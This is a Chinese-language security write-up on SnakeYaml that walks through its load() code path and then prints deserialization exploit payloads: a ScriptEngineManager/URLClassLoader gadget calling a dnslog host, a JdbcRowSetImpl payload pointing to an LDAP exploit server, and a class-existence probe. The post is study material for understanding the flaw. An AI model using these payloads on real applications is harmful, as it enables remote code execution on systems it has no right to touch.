0x00 SnakeYaml简介
SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。
0x01 序列化与反序列化
demo
package com.yq1ng.ymal;/*** User** @author yq1ng* @date 2022/2/18 20:56* @since 1.0.0*/public class User {private String name;public User(){System.out.println("init...");}public String getName() {System.out.println("getName...");return name;}public void setName(String name) {System.out.println("setName...");this.name = name;}@Overridepublic String toString() {System.out.println("toString...");return "User{" +"name='" + name + '\'' +'}';}}
package com.yq1ng.ymal;import org.yaml.snakeyaml.Yaml;/*** testYmal** @author yq1ng* @date 2022/2/18 20:56* @since 1.0.0*/public class testYaml {public static void main(String[] args) {User user = new User();user.setName("yq1ng");Yaml yaml = new Yaml();String ser = yaml.dump(user);System.out.println(ser);System.out.println("==================================================");User u = yaml.load(ser);System.out.println(u.getName());}}

有点像fastjson,序列化生成的字符串中**!!**代表强制转换为后面的类型,!!com.yq1ng.ymal.User就是强转为User类
反序列化过程
打上断点直接跟

前面两行是初始化不用管,constructor.setComposer(composer);将StreamReader读取的内容设置到了composer
这里 if 先判断 node 是否为空,node.tag 是否为空,然后判断根节点是否为空(根节点可以去看yml的格式,这里没用yml文件),接着跟进constructDocument(node),创建“文件”

这里先判断已经创建的对象里面是否存在当前反序列化的对象,有的话就直接retun,没有就跟进constructObjectNoCheck(node)
跟进constructor.construct(node)


先看怎么获取ClassName的
字符串需要是tag:yaml.org,2002:开头的,然后截取后面的。然后跟进cl = getClassForName(name);
这里就获得了需要反序列化的对象,然后继续往下
167行对反序列化对象进行了实例化,然后跟进constructJavaBean2ndStep(mnode, obj);
这里对反序列化对象设置值
反射设置值,进入setName()
反序列化漏洞
影响版本
漏洞利用
假设load内容可控,这里以dnslog为例
package com.yq1ng.ymal;import org.yaml.snakeyaml.Yaml;/*** vulYaml** @author yq1ng* @date 2022/2/20 22:55* @since 1.0.0*/public class vulYaml {public static void main(String[] args) {String ser = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fpiuh1.dnslog.cn\"]]]]\n";new Yaml().load(ser);}}
更多利用
上面说有点像fastjson,看序列化后的数据和反序列化可以指定任意类就觉得更像了,所以yaml也可以用fastjson的所有payload,只需要稍作更改,比如JdbcRowSetImpl,String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";,更多gadget与不出网利用看 ref
判断类存在
String poc = "[!!判断的类全类名 []: 0, !!java.net.URL [null, \"http://ixvoxg.dnslog.cn\"]: 1]";
